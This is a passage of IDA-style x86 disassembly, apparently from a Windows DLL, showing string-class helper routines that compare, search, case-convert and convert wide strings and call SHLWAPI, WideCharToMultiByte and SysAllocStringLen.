arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+lpString], 0
jz short loc_69B2EE3D
cmp [ebp+arg_4], 0
jz short loc_69B2EE3D
push esi
push 10h
call sub_69B17EF3
mov esi, eax
test esi, esi
jz short loc_69B2EE38
cmp [ebp+arg_4], 0
jge short loc_69B2EE28
push [ebp+lpString] ; lpString
call ds:lstrlenW ; lstrlenW
jmp short loc_69B2EE2B
; ---------------------------------------------------------------------------
loc_69B2EE28: ; CODE XREF: sub_69B2EDFA+21j
mov eax, [ebp+arg_4]
loc_69B2EE2B: ; CODE XREF: sub_69B2EDFA+2Cj
push eax
push [ebp+lpString]
mov ecx, esi
call sub_69B1F97C
jmp short loc_69B2EE3A
; ---------------------------------------------------------------------------
loc_69B2EE38: ; CODE XREF: sub_69B2EDFA+1Bj
xor eax, eax
loc_69B2EE3A: ; CODE XREF: sub_69B2EDFA+3Cj
pop esi
jmp short loc_69B2EE42
; ---------------------------------------------------------------------------
loc_69B2EE3D: ; CODE XREF: sub_69B2EDFA+7j
; sub_69B2EDFA+Dj
mov eax, offset off_69B1A5AC
loc_69B2EE42: ; CODE XREF: sub_69B2EDFA+41j
pop ebp
retn 8
sub_69B2EDFA endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B2EE46(LPCWSTR lpStr2, int)
sub_69B2EE46 proc near ; CODE XREF: sub_69B2F13A+Cp
; sub_69B75A0B+97p
lpStr2 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
push esi
mov esi, ecx
push edi
mov edi, [esi+8]
jge short loc_69B2EE5F
push [esp+8+lpStr2] ; lpString
call ds:lstrlenW ; lstrlenW
loc_69B2EE5F: ; CODE XREF: sub_69B2EE46+Dj
cmp edi, eax
jle short loc_69B2EE65
mov edi, eax
loc_69B2EE65: ; CODE XREF: sub_69B2EE46+1Bj
mov esi, [esi+0Ch]
push edi ; nChar
push [esp+0Ch+lpStr2] ; lpStr2
push esi ; lpStr1
call ds:StrCmpNW ; StrCmpNW
pop edi
pop esi
retn 8
sub_69B2EE46 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B4ACFE
loc_69B2EE79: ; CODE XREF: sub_69B4ACFE+Dj
mov eax, [esp+arg_0]
push dword ptr [eax+10h]
mov edx, [ecx+8]
push dword ptr [eax+0Ch]
mov ecx, [ecx+0Ch]
push edx
push ecx
push dword ptr [eax+8]
push dword ptr [eax+4]
call ds:SHLWAPI_45
retn 4
; END OF FUNCTION CHUNK FOR sub_69B4ACFE
; =============== S U B R O U T I N E =======================================
sub_69B2EE9A proc near ; CODE XREF: sub_69B2F19F+2Ap
; sub_69B6699A+613p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jge short loc_69B2EEA4
xor eax, eax
loc_69B2EEA4: ; CODE XREF: sub_69B2EE9A+6j
mov edx, [ecx+0Ch]
mov ecx, [ecx+8]
cmp eax, ecx
lea edx, [edx+eax*2]
jge short loc_69B2EEC7
push esi
loc_69B2EEB2: ; CODE XREF: sub_69B2EE9A+26j
movzx esi, word ptr [edx]
cmp esi, [esp+4+arg_0]
jz short loc_69B2EEC2
inc eax
inc edx
inc edx
cmp eax, ecx
jl short loc_69B2EEB2
loc_69B2EEC2: ; CODE XREF: sub_69B2EE9A+1Fj
cmp eax, ecx
pop esi
jl short locret_69B2EECA
loc_69B2EEC7: ; CODE XREF: sub_69B2EE9A+15j
or eax, 0FFFFFFFFh
locret_69B2EECA: ; CODE XREF: sub_69B2EE9A+2Bj
retn 8
sub_69B2EE9A endp
; =============== S U B R O U T I N E =======================================
sub_69B2EECD proc near ; CODE XREF: sub_69B2F19F+48p
; sub_69B66820+156p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
test esi, esi
push edi
mov edx, ecx
jl short loc_69B2EEFD
mov edi, [esp+8+arg_0]
mov eax, [edi+8]
lea ecx, [eax+esi]
cmp ecx, [edx+8]
jg short loc_69B2EEFD
mov edi, [edi+0Ch]
lea ecx, [eax+eax]
mov eax, [edx+0Ch]
lea esi, [eax+esi*2]
xor eax, eax
repe cmpsb
jnz short loc_69B2EEFD
inc eax
jmp short loc_69B2EEFF
; ---------------------------------------------------------------------------
loc_69B2EEFD: ; CODE XREF: sub_69B2EECD+Aj
; sub_69B2EECD+19j ...
xor eax, eax
loc_69B2EEFF: ; CODE XREF: sub_69B2EECD+2Ej
pop edi
pop esi
retn 8
sub_69B2EECD endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B2EF04(LPCWSTR lpString)
sub_69B2EF04 proc near ; CODE XREF: sub_69B4A16C+75p
; sub_69B4EE00:loc_69B4EE54p ...
lpString = dword ptr 4
push esi
push edi
mov edi, [esp+8+lpString]
push edi ; lpString
mov esi, ecx
call ds:lstrlenW ; lstrlenW
test edi, edi
jz short loc_69B2EF2C
mov ecx, [esi+8]
cmp ecx, eax
jnz short loc_69B2EF2C
mov esi, [esi+0Ch]
add ecx, ecx
xor eax, eax
repe cmpsb
jnz short loc_69B2EF2C
inc eax
jmp short loc_69B2EF2E
; ---------------------------------------------------------------------------
loc_69B2EF2C: ; CODE XREF: sub_69B2EF04+11j
; sub_69B2EF04+18j ...
xor eax, eax
loc_69B2EF2E: ; CODE XREF: sub_69B2EF04+26j
pop edi
pop esi
retn 4
sub_69B2EF04 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B2EF33(LPCWSTR lpStr2)
sub_69B2EF33 proc near ; CODE XREF: sub_69B4A16C:loc_69B4A1E8p
; sub_69B4EE00+24p ...
lpStr2 = dword ptr 4
push esi
push edi
mov edi, [esp+8+lpStr2]
push edi ; lpString
mov esi, ecx
call ds:lstrlenW ; lstrlenW
test edi, edi
jz short loc_69B2EF60
mov ecx, [esi+8]
cmp ecx, eax
jnz short loc_69B2EF60
mov esi, [esi+0Ch]
push ecx ; nChar
push edi ; lpStr2
push esi ; lpStr1
call ds:StrCmpNIW ; StrCmpNIW
test eax, eax
jnz short loc_69B2EF60
inc eax
jmp short loc_69B2EF62
; ---------------------------------------------------------------------------
loc_69B2EF60: ; CODE XREF: sub_69B2EF33+11j
; sub_69B2EF33+18j ...
xor eax, eax
loc_69B2EF62: ; CODE XREF: sub_69B2EF33+2Bj
pop edi
pop esi
retn 4
sub_69B2EF33 endp
; =============== S U B R O U T I N E =======================================
sub_69B2EF67 proc near ; CODE XREF: sub_69B14EAC+60p
; sub_69B4AD10+19p ...
push esi
push edi
mov esi, ecx
push dword ptr [esi+8]
mov edi, [esi+0Ch]
push edi
call sub_69B2FB5A
sub eax, edi
sar eax, 1
sub eax, [esi+8]
pop edi
neg eax
sbb eax, eax
inc eax
pop esi
retn
sub_69B2EF67 endp
; =============== S U B R O U T I N E =======================================
sub_69B2EF86 proc near ; CODE XREF: sub_69B3D7B4+83p
push esi
mov esi, ecx
call sub_69B19118
mov dword ptr [esi], offset off_69B121D0
mov eax, esi
pop esi
retn
sub_69B2EF86 endp
; =============== S U B R O U T I N E =======================================
sub_69B2EF98 proc near ; DATA XREF: .text:69B1220Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ax, [eax]
mov ecx, [esp+arg_0]
mov [ecx], ax
retn 8
sub_69B2EF98 endp
; =============== S U B R O U T I N E =======================================
sub_69B2EFA9 proc near ; DATA XREF: .text:69B12208o
push 2
pop eax
retn
sub_69B2EFA9 endp
; =============== S U B R O U T I N E =======================================
sub_69B2EFAD proc near ; CODE XREF: sub_69B8D901+2Bp
push ebx
mov ebx, ecx
mov eax, [ebx+8]
lea eax, [eax+eax+2]
push eax
call sub_69B1D897
mov ecx, [ebx+8]
test ecx, ecx
jz short loc_69B2EFD0
push esi
mov esi, [ebx+0Ch]
push edi
mov edi, eax
rep movsw
pop edi
pop esi
loc_69B2EFD0: ; CODE XREF: sub_69B2EFAD+15j
mov ecx, [ebx+8]
and word ptr [eax+ecx*2], 0
pop ebx
retn
sub_69B2EFAD endp
; =============== S U B R O U T I N E =======================================
sub_69B2EFDA proc near ; DATA XREF: .text:69B12248o
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B2ECE4
mov eax, esi
pop esi
retn 4
sub_69B2EFDA endp
; =============== S U B R O U T I N E =======================================
sub_69B2EFEC proc near ; DATA XREF: .text:69B1F978o
; .text:69B1F9D8o
arg_0 = dword ptr 4
push esi
push dword ptr [ecx+8]
push dword ptr [ecx+0Ch]
call sub_69B190D7
push [esp+4+arg_0]
mov esi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
mov eax, esi
pop esi
retn 4
sub_69B2EFEC endp
; =============== S U B R O U T I N E =======================================
sub_69B2F00B proc near ; CODE XREF: sub_69B2F72E+AAp
arg_0 = dword ptr 4
push ebx
push esi
mov esi, ecx
mov ecx, [esp+8+arg_0]
xor ebx, ebx
cmp ecx, ebx
jnz short loc_69B2F029
mov eax, off_69B96388
mov [esi], eax
mov dword ptr [esi+54h], 4
jmp short loc_69B2F092
; ---------------------------------------------------------------------------
loc_69B2F029: ; CODE XREF: sub_69B2F00B+Cj
push ebp
mov [esi], ebx
mov eax, [ecx]
push edi
call dword ptr [eax+2Ch]
mov edi, eax
mov eax, [edi]
push edi
call dword ptr [eax+4]
mov ebp, [edi+0Ch]
push ebx ; lpUsedDefaultChar
push ebx ; lpDefaultChar
push ebx ; cchMultiByte
push ebx ; lpMultiByteStr
push dword ptr [edi+8] ; cchWideChar
push ebp ; lpWideCharStr
push ebx ; dwFlags
push ebx ; CodePage
call ds:WideCharToMultiByte ; WideCharToMultiByte
cmp eax, 4Fh
mov [esi+54h], eax
jnb short loc_69B2F05A
lea eax, [esi+4]
jmp short loc_69B2F061
; ---------------------------------------------------------------------------
loc_69B2F05A: ; CODE XREF: sub_69B2F00B+48j
inc eax
push eax
call sub_69B11E44
loc_69B2F061: ; CODE XREF: sub_69B2F00B+4Dj
cmp eax, ebx
mov [esi], eax
jz short loc_69B2F081
push ebx ; lpUsedDefaultChar
push ebx ; lpDefaultChar
push dword ptr [esi+54h] ; cchMultiByte
push eax ; lpMultiByteStr
push dword ptr [edi+8] ; cchWideChar
push ebp ; lpWideCharStr
push ebx ; dwFlags
push ebx ; CodePage
call ds:WideCharToMultiByte ; WideCharToMultiByte
mov eax, [esi+54h]
mov ecx, [esi]
mov [eax+ecx], bl
loc_69B2F081: ; CODE XREF: sub_69B2F00B+5Aj
mov eax, [edi]
push edi
call dword ptr [eax+8]
cmp [esi], ebx
pop edi
pop ebp
jnz short loc_69B2F092
call sub_69B2E87C
loc_69B2F092: ; CODE XREF: sub_69B2F00B+1Cj
; sub_69B2F00B+80j
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B2F00B endp
; =============== S U B R O U T I N E =======================================
sub_69B2F099 proc near ; CODE XREF: sub_69B2F72E+FFp
mov eax, [ecx]
cmp eax, off_69B96388
jz short locret_69B2F0B0
add ecx, 4
cmp eax, ecx
jz short locret_69B2F0B0
push eax
call sub_69B1B2B7
locret_69B2F0B0: ; CODE XREF: sub_69B2F099+8j
; sub_69B2F099+Fj
retn
sub_69B2F099 endp
; =============== S U B R O U T I N E =======================================
sub_69B2F0B1 proc near ; CODE XREF: sub_69B3D7B4+9Cp
; .text:69B53D2Fp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push dword ptr [eax+8]
add eax, 0Ch
push eax
call sub_69B190D7
retn 4
sub_69B2F0B1 endp
; =============== S U B R O U T I N E =======================================
sub_69B2F0C4 proc near ; CODE XREF: sub_69B3F90C+99p
; sub_69B3F90C+ABp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_69B2F0DB
mov ecx, [eax+8]
mov eax, [eax+0Ch]
push ecx
push eax
call sub_69B190D7
jmp short locret_69B2F0DD
; ---------------------------------------------------------------------------
loc_69B2F0DB: ; CODE XREF: sub_69B2F0C4+6j
xor eax, eax
locret_69B2F0DD: ; CODE XREF: sub_69B2F0C4+15j
retn 4
sub_69B2F0C4 endp
; =============== S U B R O U T I N E =======================================
sub_69B2F0E0 proc near ; CODE XREF: sub_69B304F3+11Ap
; sub_69B4A8CB+68p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, [eax+8]
mov eax, [eax+0Ch]
push ecx
add eax, 0Ch
push eax
call sub_69B190D7
retn 4
sub_69B2F0E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2F0F7 proc near ; CODE XREF: sub_69B1D411+6945p
; sub_69B2F570+3p ...
String = word ptr -44h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 44h
mov eax, dword_69B92170
xor eax, [ebp+4]
push 0Ah
mov [ebp+var_4], eax
lea eax, [ebp+String]
push eax
push [ebp+arg_0]
call sub_69B2F579
lea eax, [ebp+String]
push eax ; lpString
call sub_69B1A587
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
call sub_69B1B9F6
leave
retn 4
sub_69B2F0F7 endp
; =============== S U B R O U T I N E =======================================
sub_69B2F12E proc near ; CODE XREF: sub_69B2EABC+40p
; sub_69B2EB64+4Bp ...
push dword ptr [ecx+8]
push dword ptr [ecx+0Ch]
call sub_69B190D7
retn
sub_69B2F12E endp
; =============== S U B R O U T I N E =======================================
sub_69B2F13A proc near ; CODE XREF: sub_69B7624E+A2p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax+8]
mov eax, [eax+0Ch]
push edx ; int
push eax ; lpStr2
call sub_69B2EE46
retn 4
sub_69B2F13A endp
; =============== S U B R O U T I N E =======================================
sub_69B2F14E proc near ; CODE XREF: sub_69B88EA5+21p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
push ebx
push esi
mov esi, [esp+8+arg_0]
cmp esi, eax
mov ebx, ecx
jge short loc_69B2F19A
test esi, esi
push edi
jl short loc_69B2F18F
cmp eax, [ebx+8]
jg short loc_69B2F18F
mov edx, [esp+0Ch+arg_C]
test edx, edx
jl short loc_69B2F18F
mov edi, [esp+0Ch+arg_8]
sub eax, esi
lea ecx, [eax+edx]
cmp ecx, [edi+8]
jg short loc_69B2F18F
mov ecx, eax
mov eax, [ebx+0Ch]
lea esi, [eax+esi*2]
lea edi, [edi+edx*2+0Ch]
rep movsw
jmp short loc_69B2F199
; ---------------------------------------------------------------------------
loc_69B2F18F: ; CODE XREF: sub_69B2F14E+13j
; sub_69B2F14E+18j ...
push 80070057h
call sub_69B2E8B8
loc_69B2F199: ; CODE XREF: sub_69B2F14E+3Fj
pop edi
loc_69B2F19A: ; CODE XREF: sub_69B2F14E+Ej
pop esi
pop ebx
retn 10h
sub_69B2F14E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2F19F proc near ; CODE XREF: sub_69B66820+D6p
; sub_69B66820+F3p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
push [ebp+arg_4]
mov edi, ecx
mov ecx, [ebp+arg_0]
call sub_69B2EDBF
mov ebx, [edi+8]
or esi, 0FFFFFFFFh
cmp ebx, esi
jle short loc_69B2F1F4
movzx eax, ax
mov [ebp+arg_4], eax
loc_69B2F1C2: ; CODE XREF: sub_69B2F19F+53j
inc esi
push esi
push [ebp+arg_4]
mov ecx, edi
call sub_69B2EE9A
mov esi, eax
or eax, 0FFFFFFFFh
cmp esi, eax
jz short loc_69B2F1F7
mov edx, [ebp+arg_0]
mov ecx, ebx
sub ecx, esi
cmp [edx+8], ecx
jg short loc_69B2F1F7
push esi
push edx
mov ecx, edi
call sub_69B2EECD
test al, al
jnz short loc_69B2F1FE
cmp esi, ebx
jl short loc_69B2F1C2
loc_69B2F1F4: ; CODE XREF: sub_69B2F19F+1Bj
or eax, 0FFFFFFFFh
loc_69B2F1F7: ; CODE XREF: sub_69B2F19F+36j
; sub_69B2F19F+42j ...
pop edi
pop esi
pop ebx
pop ebp
retn 8
; ---------------------------------------------------------------------------
loc_69B2F1FE: ; CODE XREF: sub_69B2F19F+4Fj
mov eax, esi
jmp short loc_69B2F1F7
sub_69B2F19F endp
; =============== S U B R O U T I N E =======================================
sub_69B2F202 proc near ; CODE XREF: sub_69B20F54+20p
; sub_69B7BF93+1B6p ...
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp [esi+8], ebx
push edi
mov edi, [esi+0Ch]
jle short loc_69B2F228
loc_69B2F211: ; CODE XREF: sub_69B2F202+24j
movzx eax, word ptr [edi]
push eax
call ds:SHLWAPI_38
cmp [edi], ax
jnz short loc_69B2F228
inc ebx
inc edi
inc edi
cmp ebx, [esi+8]
jl short loc_69B2F211
loc_69B2F228: ; CODE XREF: sub_69B2F202+Dj
; sub_69B2F202+1Cj
mov ecx, [esi+8]
cmp ebx, ecx
jnz short loc_69B2F233
mov eax, esi
jmp short loc_69B2F262
; ---------------------------------------------------------------------------
loc_69B2F233: ; CODE XREF: sub_69B2F202+2Bj
mov eax, [esi+0Ch]
push ebp
push ecx
push eax
call sub_69B190C1
xor ebx, ebx
cmp [esi+8], ebx
mov ebp, eax
mov edi, [ebp+0Ch]
jle short loc_69B2F25F
loc_69B2F24A: ; CODE XREF: sub_69B2F202+5Bj
movzx eax, word ptr [edi]
push eax
call ds:SHLWAPI_38
mov [edi], ax
inc ebx
inc edi
inc edi
cmp ebx, [esi+8]
jl short loc_69B2F24A
loc_69B2F25F: ; CODE XREF: sub_69B2F202+46j
mov eax, ebp
pop ebp
loc_69B2F262: ; CODE XREF: sub_69B2F202+2Fj
pop edi
pop esi
pop ebx
retn
sub_69B2F202 endp
; =============== S U B R O U T I N E =======================================
sub_69B2F266 proc near ; CODE XREF: sub_69B3DCF1+23p
; sub_69B44C4C+71p ...
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp [esi+8], ebx
push edi
mov edi, [esi+0Ch]
jle short loc_69B2F28C
loc_69B2F275: ; CODE XREF: sub_69B2F266+24j
movzx eax, word ptr [edi]
push eax
call ds:SHLWAPI_43
cmp [edi], ax
jnz short loc_69B2F28C
inc ebx
inc edi
inc edi
cmp ebx, [esi+8]
jl short loc_69B2F275
loc_69B2F28C: ; CODE XREF: sub_69B2F266+Dj
; sub_69B2F266+1Cj
mov ecx, [esi+8]
cmp ebx, ecx
jnz short loc_69B2F297
mov eax, esi
jmp short loc_69B2F2C6
; ---------------------------------------------------------------------------
loc_69B2F297: ; CODE XREF: sub_69B2F266+2Bj
mov eax, [esi+0Ch]
push ebp
push ecx
push eax
call sub_69B190C1
xor ebx, ebx
cmp [esi+8], ebx
mov ebp, eax
mov edi, [ebp+0Ch]
jle short loc_69B2F2C3
loc_69B2F2AE: ; CODE XREF: sub_69B2F266+5Bj
movzx eax, word ptr [edi]
push eax
call ds:SHLWAPI_43
mov [edi], ax
inc ebx
inc edi
inc edi
cmp ebx, [esi+8]
jl short loc_69B2F2AE
loc_69B2F2C3: ; CODE XREF: sub_69B2F266+46j
mov eax, ebp
pop ebp
loc_69B2F2C6: ; CODE XREF: sub_69B2F266+2Fj
pop edi
pop esi
pop ebx
retn
sub_69B2F266 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2F2CA proc near ; CODE XREF: sub_69B2EABC+56p
; sub_69B38236+E8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ecx, ecx
test edi, edi
mov eax, edi
jz short loc_69B2F2EC
lea edx, [ebp+arg_0]
loc_69B2F2E0: ; CODE XREF: sub_69B2F2CA+20j
add ecx, [eax+8]
add edx, 4
mov eax, [edx]
test eax, eax
jnz short loc_69B2F2E0
loc_69B2F2EC: ; CODE XREF: sub_69B2F2CA+11j
push ecx
push 10h
call sub_69B17ED3
mov esi, eax
test esi, esi
pop ecx
pop ecx
jz short loc_69B2F30B
mov ecx, esi
call sub_69B19118
mov dword ptr [esi], offset off_69B12210
jmp short loc_69B2F30D
; ---------------------------------------------------------------------------
loc_69B2F30B: ; CODE XREF: sub_69B2F2CA+30j
xor esi, esi
loc_69B2F30D: ; CODE XREF: sub_69B2F2CA+3Fj
test edi, edi
mov ebx, [esi+0Ch]
mov [ebp+var_8], esi
mov edx, edi
jz short loc_69B2F34A
lea eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_69B2F31F: ; CODE XREF: sub_69B2F2CA+7Ej
mov ecx, [edx+8]
mov esi, [edx+0Ch]
add [ebp+var_4], 4
shl ecx, 1
mov eax, ecx
shr ecx, 2
mov edi, ebx
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [edx+8]
lea ebx, [ebx+eax*2]
mov eax, [ebp+var_4]
mov edx, [eax]
test edx, edx
jnz short loc_69B2F31F
loc_69B2F34A: ; CODE XREF: sub_69B2F2CA+4Dj
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
leave
retn
sub_69B2F2CA endp
; =============== S U B R O U T I N E =======================================
sub_69B2F352 proc near ; CODE XREF: sub_69B46D7D+6Fp
; sub_69B46E4C+76p ...
mov eax, [ecx+0Ch]
push esi
push dword ptr [ecx+8] ; UINT
push eax ; OLECHAR *
call SysAllocStringLen
mov esi, eax
test esi, esi
jnz short loc_69B2F36B
call sub_69B2E87C
loc_69B2F36B: ; CODE XREF: sub_69B2F352+12j
mov eax, esi
pop esi
retn
sub_69B2F352 endp
; =============== S U B R O U T I N E =======================================
sub_69B2F36F proc near ; CODE XREF: .text:69B2F3BCj
; .text:69B53CFDp ...
push ebx
push esi
push edi
mov esi, ecx
mov edi, [esi+8]
lea eax, [edi+edi+10h]
push eax
call sub_69B17EF3
mov ebx, eax
mov ecx, ebx
mov [ebx+8], edi
call sub_69B19118
mov dword ptr [ebx], offset off_69B121D0
mov eax, [esi+8]
test eax, eax
jle short loc_69B2F3B6
cmp eax, [ebx+8]
jg short loc_69B2F3AC
mov esi, [esi+0Ch]
mov ecx, eax
lea edi, [ebx+0Ch]
rep movsw
jmp short loc_69B2F3B6
; ---------------------------------------------------------------------------
loc_69B2F3AC: ; CODE XREF: sub_69B2F36F+2Ej
push 80070057h
call sub_69B2E8B8
loc_69B2F3B6: ; CODE XREF: sub_69B2F36F+29j
; sub_69B2F36F+3Bj
pop edi
pop esi
mov eax, ebx
pop ebx
retn
sub_69B2F36F endp
; ---------------------------------------------------------------------------
jmp short sub_69B2F36F
; =============== S U B R O U T I N E =======================================
sub_69B2F3BE proc near ; CODE XREF: sub_69B759A1+58p
arg_0 = byte ptr 4
push 1
lea eax, [esp+4+arg_0]
push eax
call sub_69B190C1
retn 4
sub_69B2F3BE endp
; =============== S U B R O U T I N E =======================================
sub_69B2F3CD proc near ; CODE XREF: sub_69B2F43C+57p
; sub_69B3E825+71p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, [esp+8+arg_4]
sub esi, ebx
test ebx, ebx
push edi
mov edi, ecx
jl short loc_69B2F42A
test esi, esi
jl short loc_69B2F42A
mov eax, [edi+8]
cmp [esp+0Ch+arg_4], eax
jg short loc_69B2F42A
test esi, esi
jle short loc_69B2F423
cmp [esp+0Ch+arg_4], eax
jnz short loc_69B2F414
push 14h
call sub_69B17EF3
test eax, eax
jz short loc_69B2F434
mov ecx, [edi+0Ch]
push esi
lea ecx, [ecx+ebx*2]
push ecx
push edi
mov ecx, eax
call sub_69B1F916
jmp short loc_69B2F436
; ---------------------------------------------------------------------------
loc_69B2F414: ; CODE XREF: sub_69B2F3CD+28j
mov eax, [edi+0Ch]
push esi
lea eax, [eax+ebx*2]
push eax
call sub_69B190C1
jmp short loc_69B2F436
; ---------------------------------------------------------------------------
loc_69B2F423: ; CODE XREF: sub_69B2F3CD+22j
mov eax, offset off_69B1A5AC
jmp short loc_69B2F436
; ---------------------------------------------------------------------------
loc_69B2F42A: ; CODE XREF: sub_69B2F3CD+11j
; sub_69B2F3CD+15j ...
push 80070057h
call sub_69B2E8B8
loc_69B2F434: ; CODE XREF: sub_69B2F3CD+33j
xor eax, eax
loc_69B2F436: ; CODE XREF: sub_69B2F3CD+45j
; sub_69B2F3CD+54j ...
pop edi
pop esi
pop ebx
retn 8
sub_69B2F3CD endp
; =============== S U B R O U T I N E =======================================
sub_69B2F43C proc near ; CODE XREF: sub_69B14EAC+ADp
; sub_69B20F54+9p ...
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov esi, [edi+8]
test esi, esi
mov ebx, [edi+0Ch]
jle short loc_69B2F467
lea ebp, [ebx+esi*2-2]
loc_69B2F450: ; CODE XREF: sub_69B2F43C+29j
xor eax, eax
mov ax, [ebp+0]
push eax
call sub_69B2ECB4
test eax, eax
jz short loc_69B2F467
dec esi
dec ebp
dec ebp
test esi, esi
jg short loc_69B2F450
loc_69B2F467: ; CODE XREF: sub_69B2F43C+Ej
; sub_69B2F43C+22j
xor ebp, ebp
test esi, esi
jle short loc_69B2F486
loc_69B2F46D: ; CODE XREF: sub_69B2F43C+44j
xor eax, eax
mov ax, [ebx+ebp*2]
push eax
call sub_69B2ECB4
test eax, eax
jz short loc_69B2F482
inc ebp
cmp ebp, esi
jl short loc_69B2F46D
loc_69B2F482: ; CODE XREF: sub_69B2F43C+3Fj
test ebp, ebp
jg short loc_69B2F48F
loc_69B2F486: ; CODE XREF: sub_69B2F43C+2Fj
cmp esi, [edi+8]
jl short loc_69B2F48F
mov eax, edi
jmp short loc_69B2F498
; ---------------------------------------------------------------------------
loc_69B2F48F: ; CODE XREF: sub_69B2F43C+48j
; sub_69B2F43C+4Dj
push esi
push ebp
mov ecx, edi
call sub_69B2F3CD
loc_69B2F498: ; CODE XREF: sub_69B2F43C+51j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_69B2F43C endp
; =============== S U B R O U T I N E =======================================
sub_69B2F49D proc near ; CODE XREF: sub_69B2F643+3p
; sub_69B315F1+6p ...
mov eax, [ecx]
call dword ptr [eax+1Ch]
mov eax, [eax+4]
test eax, eax
jz short loc_69B2F4AB
jmp eax
; ---------------------------------------------------------------------------
loc_69B2F4AB: ; CODE XREF: sub_69B2F49D+Aj
push 80004001h
call sub_69B2E8B8
xor eax, eax
retn
sub_69B2F49D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2F4B8 proc near ; CODE XREF: sub_69B4311C+9Cp
; sub_69B47D5E+9p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
mov esi, [ebp+arg_0]
push edi
xor edi, edi
cmp esi, edi
jnz short loc_69B2F4D0
xor eax, eax
jmp loc_69B2F553
; ---------------------------------------------------------------------------
loc_69B2F4D0: ; CODE XREF: sub_69B2F4B8+Fj
mov eax, [esi]
lea ecx, [ebp+var_4]
push ecx
push [ebp+arg_4]
mov [ebp+var_4], edi
push esi
mov [ebp+arg_0], edi
mov [ebp+var_8], edi
mov [ebp+var_C], edi
call dword ptr [eax]
test eax, eax
jnz short loc_69B2F4FC
mov ecx, [ebp+var_4]
mov eax, [ecx]
call dword ptr [eax+10h]
mov [ebp+arg_0], eax
mov eax, [ebp+var_4]
jmp short loc_69B2F54A
; ---------------------------------------------------------------------------
loc_69B2F4FC: ; CODE XREF: sub_69B2F4B8+32j
mov eax, [esi]
lea ecx, [ebp+var_C]
push ecx
push offset dword_69B2B040
push esi
call dword ptr [eax]
test eax, eax
jnz short loc_69B2F550
mov eax, [ebp+var_C]
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push offset dword_69B2B000
push [ebp+arg_4]
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jnz short loc_69B2F547
mov eax, [ebp+var_8]
mov ecx, [eax]
push edi
push 4
lea edx, [ebp+arg_0]
push edx
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jz short loc_69B2F53E
mov [ebp+arg_0], edi
loc_69B2F53E: ; CODE XREF: sub_69B2F4B8+81j
mov eax, [ebp+var_8]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B2F547: ; CODE XREF: sub_69B2F4B8+6Dj
mov eax, [ebp+var_C]
loc_69B2F54A: ; CODE XREF: sub_69B2F4B8+42j
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B2F550: ; CODE XREF: sub_69B2F4B8+54j
mov eax, [ebp+arg_0]
loc_69B2F553: ; CODE XREF: sub_69B2F4B8+13j
pop edi
pop esi
leave
retn 8
sub_69B2F4B8 endp
; =============== S U B R O U T I N E =======================================
sub_69B2F559 proc near ; DATA XREF: .text:69B121B4o
; .text:69B121FCo ...
mov eax, offset off_69B1A5AC
retn
sub_69B2F559 endp
; =============== S U B R O U T I N E =======================================
sub_69B2F55F proc near ; DATA XREF: .text:69B12268o
mov eax, offset off_69B2F568
retn
sub_69B2F55F endp
; ---------------------------------------------------------------------------
align 4
off_69B2F568 dd offset dword_69B18894 ; DATA XREF: sub_69B2F55Fo
dd offset sub_69B2F653
; =============== S U B R O U T I N E =======================================
sub_69B2F570 proc near ; DATA XREF: .text:69B12278o
push dword ptr [ecx+8]
call sub_69B2F0F7
retn
sub_69B2F570 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2F579 proc near ; CODE XREF: sub_69B2F0F7+1Ap
; sub_69B764D5+4Fp
var_44 = byte ptr -44h
